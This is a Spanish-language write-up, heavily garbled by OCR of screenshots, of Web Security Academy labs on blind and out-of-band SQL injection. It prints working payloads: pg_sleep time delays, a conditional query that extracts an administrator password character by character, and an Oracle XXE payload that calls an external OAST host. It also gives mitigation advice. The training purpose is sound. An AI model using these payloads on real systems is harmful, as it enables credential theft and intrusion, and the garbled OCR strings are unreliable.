Blind SOL injection with time delays

Search ol 0 highlights
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Confirmacion de "Lab Solved”

IEPENPEIECFERALENOIRER| 2

# Blind SQL injection wit
€ c

Web Security Blind SQL injection with time delays
Academy ]

00f3.web-security-academy... ¥

Cancel % BurpAl S Soved A4

Congratulations, you solved the lab! Share your skills! 3 [}  Continue learning »

Home | My account

shtnl xnl, appl icat ion/x -
8, 3l ication/zigned-exchange: vwb3; 0. 7

1q=0. 9, ivmge/avif, inage/v

SHOP ~

All  Clothing, shoes and accessories Corporate gifts Food & Drink

| 2

Lifestyle Tech gifts

Explicacion del payload:

Road To Hall of Fame (SQL Injection)

Payload utilizado: x'||pg_sleep(10)--

Analisis:

® x": Se utiliza un caracter arbitrario seguido de una comilla simple para

cerrar correctamente la cadena de texto literal que la consulta SQL
original espera para el ID de seguimiento.

ll: En el lenguaje SQL de PostgreSQL, este simbolo representa el
operador de concatenacion de cadenas. Se emplea aqui para anexar la
ejecucion de una funcion al comando inicial sin romper la estructura
sintactica.

pg_sleep(10): Es una funcién nativa de PostgreSQL que suspende la
ejecucion del hilo de la consulta durante el numero de segundos
especificado (en este caso, 10). Al ser una operacion sincrona, el
servidor web no puede finalizar la respuesta HTTP hasta que la base de
datos complete este tiempo de espera.

--: Representa el inicio de un comentario en SQL. Su funcion es invalidar
cualquier parte restante de la consulta original que el desarrollador haya
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programado, evitando que errores de sintaxis posteriores bloqueen la
ejecucion del payload malicioso.

Mitigacion recomendada:

Para corregir esta vulnerabilidad y alinearse con las mejores practicas de seguridad
de OWASP, se recomienda la implementacion de las siguientes medidas:

Consultas Parametrizadas (Prepared Statements): Se debe evitar la
concatenacion directa de variables en las sentencias SQL. El uso de
consultas preparadas asegura que el motor de la base de datos trate la
entrada del usuario estrictamente como datos y no como cddigo ejecutable.
Validacion de Entradas: Implementar una validacion estricta basada en una
lista blanca (allowlist) que permita Unicamente caracteres alfanuméricos con
el formato y longitud esperados para un identificador de seguimiento.
Principio de Menor Privilegio: Configurar la cuenta de conexion a la base
de datos con los permisos minimos necesarios, restringiendo el acceso a
funciones administrativas o de control de sistema como pg_sleep.

15. Blind SQL injection with time delays and information retrieval

Nivel: Practitioner

Tipo de SQLi: Blind (Time-based / Inyeccion Ciega Basada en Tiempo)
Objetivo del laboratorio: Identificar una vulnerabilidad de inyeccion SQL en
la gestion de sesiones, explotarla para extraer secuencialmente la
contrasefa del usuario administrador y comprometer dicha cuenta con

maximos privilegios.

Explicacidon técnica de la vulnerabilidad: Se identifica una falla critica en la forma
en que la aplicacion web procesa la cookie de rastreo denominada Trackingld.
Cuando un usuario visita el sitio, el servidor toma el valor de esta cookie y lo
inserta directamente dentro de una consulta a la base de datos (PostgreSQL) sin
validarlo ni desinfectarlo previamente.

La aplicacion padece de una inyeccion "ciega" porque el sistema no muestra
mensajes de error en la pantalla ni refleja informacion de la base de datos en el
sitio web. Sin embargo, procesa las instrucciones de forma sincrona. Al no existir
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visibilidad directa de los datos, el atacante recurre a formular preguntas
condicionales a la base de datos (ej. "¢la primera letra de la contrasena es la 'a'?"),
instruyéndole a pausar su procesamiento durante una cantidad de segundos
especificos si la respuesta es afirmativa. Esto permite deducir informacion
altamente confidencial basandose Uunicamente en el tiempo que tarda el servidor
en responder a la peticion web.

Procedimiento paso a paso:

Se intercepta la peticion HTTP dirigida al servidor utilizando la herramienta de
intercepcion de trafico Burp Suite Proxy.

Se envia la peticion interceptada a la herramienta Burp Repeater para su
analisis iterativo y manipulacion manual.

Se inyecta un comando de prueba de retardo de tiempo en el parametro
Trackingld para confirmar la existencia de la vulnerabilidad. Se observa que el
servidor retrasa su respuesta exactamente el tiempo indicado en la inyeccidn.
Se procede a diseflar un vector de ataque condicional automatizado
(mediante un script externo o Burp Intruder) para iterar sobre el abecedario y
los numeros, evaluando posicion por posicion los caracteres que conforman la
contrasefa del administrador.

Se analiza el tiempo de respuesta del servidor ante cada peticion enviada. Si la
respuesta del servidor se retrasa (por ejemplo, 3 segundos), se confirma como
verdadera la evaluacion logica y se registra el caracter descubierto. Si la
respuesta es inmediata, se descarta el caracter y se prueba el siguiente.

Se reconstruye la contrasefia completa tras finalizar la iteracion sobre todas
las posiciones y se utiliza en el portal de autenticacién, logrando el
compromiso total de la cuenta objetivo.

Capturas de pantalla:

Verificando que sea PostgreSQL y vulnerable a inyeccién de tiempo
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Cancel * Burp Al

_send R
Request

Pretty Raw Hex I n =
1 GET / HTTP/2

Host: Gabe@0add3b573d68008a300008300ca.web-security-academy.net

Cookie: Trazkmg[d:x'UESELE(Tvpg_slucp(IB)—-E session=

clHvef9yRI7r LAVEduMrwldGCB8d fk94

Cache-Control: max-age=@
Sec-Ch-Ua: “Chromium";
Sec-Ch-Ua-Mobile:
Sec-Ch-Ua-Platform: “macOs"

Accept-Language: es-419,es;g=0.9

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7)
ApplewWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9, image/avif, image/w
ebp, image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Accept-Encoding: gzip, deflate, br

Priority: u=0, i

145", “Not:A-Brand"; 99"

r

T Je) 0 highiights

O ¢ >

@ main.py

@ main.py
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Target: https://0abe00ad03b573d6800

Response ==

Pretty Raw Hex Render

HTTP/2 200 0K

Content-Type: text/html; charset=utf-8
X~-Frame-Options: SAMEORIGIN
Content-Length: 11438

»

<!DOCTYPE html>

<htal>
<!—LAB_HEAD_START—>
<head>
0 <link href=/resources/labheader/css/academylLabHeader.css rel=
stylesheet>
11 <link href=s/resources/css/labsEcommerce.css relsstylesheet>
<ti e>
Blind SQL injection with time delays and information
retrieval
</title>
3 </head>
4 <!—LAB_HEAD_END—>
5 <body>
€ <script src="/resources/labheader/js/labHeader.js">
</script>

<!==LAB_HEADER_START
<div id="academyLabHe
<section class

der">

cademyLabBanner'>

0 <div class=container>
1 <div class=logo>
</div>
2 <div class=title-container>
3 <h2>
Blind SQL injection with time delays
and information retrieval
</h2>
@ @ € | Search jol 0 highiights

Codigo utilizado para obtener la contrasena (Parte 1)
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Codigo utilizado para obtener la contrasena (Parte 2)

® Descifrado de la contrasefia mediante codigo

Problems Output Debug Console  Terminal Ports ] Antigravity Agent A ++v @ [

[+] Posicién 9 encontrada: z | Password actual: jod7vpzdz

[+] Posicién 10 encontrada: | Password actual: jod7vpzdza

[+] Posicién 11 encontrada: | Password actual: jod7vpzdzax

[+] Posicién 12 encontrada: | Password actual: jod7vpzdzaxp

[+] Posicién 13 encontrada: | Password actual: jod7vpzdzaxp@

[+] Posicién 14 encontrada: | Password actual: jod7vpzdzaxp@h

[+] Posicién 15 encontrada: | Password actual: jod7vpzdzaxp@h7

[+] Posicién 16 encontrada: | Password actual: jod7vpzdzaxp@h7@
[+] Posicién 17 encontrada: | Password actual: jod7vpzdzaxp@h70f
[+] Posicién 18 encontrada: | Password actual: jod7vpzdzaxp@h70f6
[+] Posicién 19 encontrada: | Password actual: jod7vpzdzaxp@h70f6z
[+] Posicién 20 encontrada: | Password actual: jod7vpzdzaxp@h70f6zy

K NO-HAhONTOT X 0

[!] Proceso terminado. Usa la contrasefia 'jod7vpzdzaxp@h70f6zy' para iniciar sesién.

12/CodigosParaLaboratorios/Lab15 tSwigger % 0

61,Col 89 Spaces:4 UTF-8 LF {} Python 3.13.12 64-bit

®  Confirmacién de "Lab Solved"
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Web Security Blind SQL injection with time delays and information retrieval L‘E Soived B ‘

Academy 22_ Back to lab description

Congratulations, you solved the lab! Share your skills! § [flJ  Continue learning »

Home | My account | Log out

My Account

Your username is: administrator

Email

Update email

Explicacion del payload:

o Payload utilizado: X' %3BSELECT+CASE+WHEN+
(username='administrator'+tAND+SUBSTRING(password,1,1)="a")
+THEN+pg_sleep(3)+ELSE+pg_sleep(0)+END+FROM+users--

°

Analisis: E| vector de ataque estd disenado para alterar el flujo original de la
consulta y forzar un comportamiento temporal en el servidor. Funciona
mediante la siguiente estructura:

® El caracter x' cierra de manera prematura la cadena de texto de la
consulta original programada por los desarrolladores.

® La secuencia %3B representa un punto y coma (;) codificado para la
web, lo que le indica a la base de datos que la consulta anterior ha
terminado y comienza una instruccion nueva e inyectada por el
atacante.

® Lainstruccién SELECT CASE WHEN actta como un evaluador légico
(un "si ocurre esto, entonces haz esto").

® La funcién SUBSTRING se encarga de extraer una Unica letra de la
contrasefa almacenada en la base de datos para compararla con
una letra de prueba (en este caso, la letra 'a').

°

Las instrucciones THEN pg_sleep(3) ELSE pg_sleep(0) dictan el
comportamiento del servidor: si la letra extraida coincide con la letra
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de prueba, la base de datos recibe la orden de "dormir" o pausarse
por 3 segundos. Si no coincide, responde en O segundos.

Los caracteres finales -- actian como un simbolo de comentario,
anulando cualquier cddigo residual legitimo de la aplicacion para
evitar errores de sintaxis que delatarian el ataque.

Mitigacion recomendada:

Para erradicar esta vulnerabilidad, es imperativo abandonar la practica de
concatenar texto dindamico con instrucciones de la base de datos. Se recomienda
enfaticamente implementar Consultas Preparadas o consultas parametrizadas en
todo el codigo fuente. Esta defensa, altamente recomendada por los estandares de
seguridad de OWASP, garantiza que el servidor procese la entrada del usuario
(como el Trackingld) estrictamente como texto inofensivo y nunca como
comandos ejecutables, neutralizando por completo cualquier intento de inyeccion
SQL sin importar su complejidad. Adicionalmente, se debe aplicar una validacion
de entrada (Input Validation) estricta mediante expresiones regulares, asegurando
que la cookie solo acepte el formato alfanumérico predefinido por el sistema.

16. Blind SQL injection with out-of-band interaction

®  Nivel: Practitioner

®  Tipode SQLi: Out-of-band (OAST - Out-of-band Application Security Testing)

® Objetivo del laboratorio: Explotar una vulnerabilidad de inyeccion SQL para

provocar una consulta DNS hacia el servidor de Burp Collaborator.
Estatus de la actividad: No terminada.
Motivos de la interrupcion:

El laboratorio requiere estrictamente el uso de la herramienta Burp Collaborator, la
cual es una funcion exclusiva de la version Professional de Burp Suite. Debido a
que se utilizé la version Community Edition, el acceso a la interfaz nativa de
Collaborator se encontraba restringido. Se intentod realizar la actividad utilizando
servidores OAST externos (Interactsh); sin embargo, el entorno del laboratorio
cuenta con un firewall de salida (egress filtering) que bloguea cualquier interaccioén
con dominios que no pertenezcan especificamente a oastify.com, impidiendo asi la
confirmacion visual del éxito del ataque y la obtencion del mensaje de "Lab
Solved”.
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Explicacion técnica de la vulnerabilidad:

Se identifica que la aplicacion web procesa de manera insegura el valor de una
cookie denominada Trackingld. Este valor es concatenado directamente en una
consulta SQL que se ejecuta de forma asincrona en el servidor. Al ser un proceso
que no afecta la respuesta HTTP inmediata ni genera errores visibles, la Unica
forma de confirmar la vulnerabilidad es forzando a la base de datos a realizar una
solicitud de red externa. La falla reside en la capacidad de inyectar comandos de
Oracle que permiten la resolucién de entidades externas XML, lo cual puede ser
aprovechado para realizar exfiltracion de datos o mapeo de infraestructura interna.
Procedimiento paso a paso:

Interceptacion de trafico: Se utiliza el médulo Burp Suite Proxy para
capturar la peticion GET inicial, localizando el parametro Trackingld dentro
de las cabeceras de la cookie.

Preparacion en el analizador: La peticion se envia a Burp Repeater para
manipular el vector de ataque sin afectar la navegacion principal.
Configuracion del receptor externo: Se genera un subdominio Unico a
través de un servicio OAST externo para actuar como receptor de la consulta
DNS provocada por la inyeccion.

Inyeccion del vector de ataque: Se sustituye el valor de la cookie por un
payload de inyeccion SQL basado en la funcién EXTRACTVALUE de Oracle,
disefada para procesar estructuras XML y gatillar solicitudes de red.
Codificacion y envio: Se aplica codificacion URL a la cadena inyectada para
asegurar su integridad durante la transmision. Tras el envio, se recibe una
respuesta HTTP 200 OK, confirmando que el servidor proceso la peticion.
Analisis de fallo en la interaccion: Al revisar el panel del receptor externo,
no se registran interacciones debido al bloqueo de red perimetral impuesto
por la Academia hacia dominios no oficiales.

Capturas de pantalla:

Comando SQL que obliga a las base de datos a realizar una solicitud de red

ejecutada con oast.fun

Explicacion del payload:

Payload utilizado: ' UNION SELECT EXTRACTVALUE(xmltype('<?xml
version="1.0" encoding="UTF-8"?><IDOCTYPE root [ <!ENTITY % remote
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Burp  Project Intruder Repeater View Help Burp Suite Community Edition v2026.1.5 - Temporary Project
Dashboard Target Proxy ®  Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Discov
12 X +
m & Cancel * BurpAl k Target: https://0aaf004903d4bd83 8025089004
Request Response == Inspec!
Pretty Raw Hex o n = Pretty Raw Hex Render w M = | Selectior
1 GET / HTTR/2 1 HTTP/2 200 0K ]
2 Host: Oaaf004903d4bd! 10006, web-security-academy. net 2 Content-Type: text/html; charset=utf-8
3 Cookie: TrackingId= 3 X-Frame-Options: SAMEORIGIN L+UNT
' +UNION+SELECT+EXTRACTVALUE( xml typel ' <%3fxml+versionfs3d"l. 0"+encoding®s3d 4 Content-Length: 11470 Faml4
"UTF-8"%3f><|DOCTYPE+root+[ +<!ENTITY+%25+remot e+SYSTEM+"ht tp%3a//smcsbs] 5 fs<l
rkdc reqt xgbsyE0xoz0atmegj y. oast. fun/">+%25remote%3b]="), ' /1 ') +FROM+dual - & <IDOCTYPE html= SYSTF:
-, sessioreddd9afONLrOROKyso7IovSaygDsbbhes 7 <html> oz0at
4 Cache-Control: max-age=0 8 <!--LAB_HEAD_START--= )
5 Sec-Ch-Ua: “"Chromium";v="145", "Mot:A-Brand";w="99" ] <head>
& Sec-Ch-Ua-Mobile: 70 10 <link href=/resources/labheader/css/academylabHeader. css rel=
7 Sec-Ch-Ua-Platform: "Linux" stylesheet>
2 Accept-Language: es-419 es; 0.9 11 <link href=/resources/css/labsEcommerce. css rel=stylesheet> Decod
9 Upgrade-Insecure-Requests: 1 12 <title>
10 User-Agent: Mozilla/5.@ (¥11; Linux x86_54) AppleWebKit/537.36 (KHTML, Elind SOL injection with out-of -band interaction tUND
like Gecko) Chrome/145.0.0.0 Safari/537.36 </title> ml ve
11 Accept: 13 </head> TYPE
text/html, application/xhtml+xml, application/xml; ¢=0. 9, image/avif, image/w 14 <!--LAB_HEAD_END--= tp: /s
ebp, image/apng, */*, cF0. 8, application/signed-exchange; v=h3; 0.7 15 <body> ast. f
12 Sec-Fetch-Site: none 16 <script sre="/resources/labheader/js/labHeader. js"> _
12 Sec-Fetch-Mode: navigate </script=>
14 Sec-Fetch-User: 71 17 <!--LAB_HEADER_START-->
15 Sec-Fetch-Dest: document 18 <div id="academylLabHeader">
15 Accept-Encoding: gzip, deflate, br 19 <section class='academylLabBanner'=
17 | Priority: w=8, i 20 <div class=containers
18 21 <div class=logo> Request
13 <fdiv=
22 <div class=title-container> R
2 <hz= equest
Blind SOL injection with out-of -band
Request
@& € > | saxh £ | oOhighlights  Selection:217(0xd3) () {8} € 2 | Search 2| ohighlights
Done
" M M n
SYSTEM “http://smcsbsjrkdcreqtxgbsy60xoz0Oatmegjy.oast.fun/">
%remote;]>"), /I dual—
%remote;]>"), /') FROM dua

Analisis: El payload comienza con una comilla simple (') para romper la

estructura de la cadena original. La instruccion UNION SELECT permite
ejecutar una consulta adicional. Se utiliza la funcién EXTRACTVALUE junto
con xmltype para definir un documento XML malicioso que contiene una
Entidad Externa (XXE). La directiva SYSTEM obliga a la base de datos a
intentar conectarse a la URL proporcionada para resolver dicha entidad. Se
utiliza la tabla dual por requerimientos de sintaxis en Oracle y los guiones ( --
) para comentar y anular el resto de la consulta original.

Mitigacion recomendada:

* Uso de Sentencias Preparadas: Se debe implementar el uso de consultas
parametrizadas para que el motor SQL trate las entradas del usuario como
datos literales y no como parte del codigo ejecutable.
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®* Saneamiento de Cookies: Aplicar validaciones estrictas a nivel de servidor
para asegurar que los valores de las cookies de seguimiento cumplan con un
formato esperado (alfanumérico simple).

® Configuracion de Firewall de Salida: Implementar reglas de red en los
servidores de base de datos para impedir conexiones hacia direcciones IP o
dominios externos no autorizados.

® Principio de Menor Privilegio: Restringir los permisos del usuario de la base
de datos para que no pueda ejecutar funciones de red o procesamiento XML
innecesarias.

Conclusiones

A través del desarrollo de los dieciséis laboratorios practicos, se evidencidé que la
vulnerabilidad mas recurrente radica en la deficiente validacion y sanitizacion de
los datos ingresados por el usuario. Especificamente, se observd que parametros
de uso comun, como los filtros de categoria (category) y las cookies de
seguimiento (Trackingld), son procesados y concatenados de manera directa en
las consultas a la base de datos. Esta falla arquitectdnica permite que un agente
externo altere la estructura original de las instrucciones, facilitando la ejecucion de

comandos no previstos por el sistema.

El analisis sistematico demostré que estas inyecciones de codigo —ya sean
tradicionales (In-band), ciegas (Blind) o fuera de banda (Out-of-band)—
comprometen severamente la confidencialidad, disponibilidad y la integridad de la
informacién. Como resultado de estas brechas reiteradas, fue posible evadir
mecanismos de autenticacion, extraer credenciales de acceso de usuarios

administradores y mapear la infraestructura interna del servidor subyacente.
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Para mitigar estas vulnerabilidades desde su causa raiz, las recomendaciones
emitidas a lo largo del reporte coinciden en la adopcion obligatoria de medidas

estructurales defensivas:

Implementacion de consultas parametrizadas: Es imperativo abandonar
por completo la practica de la concatenacion dinamica de cadenas en la
construccion de sentencias SQL. El uso de consultas preparadas garantiza
que el motor de la base de datos trate cualquier entrada del usuario
estrictamente como datos literales inofensivos, imposibilitando la ejecucion
de cdédigo malicioso.

Validacion de entradas (Listas de permitidos): Como medida de defensa en
profundidad, se debe aplicar un estricto control y validacion de parametros,
asegurando que el sistema procese unicamente valores predefinidos (allow-
lists) y autorizados por la l6dgica de negocio.

Controles de infraestructura y configuracion: Se recomienda configurar el
servidor para evitar la exposicion de mensajes de error detallados en
entornos de produccion. Asimismo, se sugiere implementar reglas de
firewall para bloquear conexiones externas no autorizadas y aplicar el

principio de menor privilegio en las cuentas de conexién a la base de datos.
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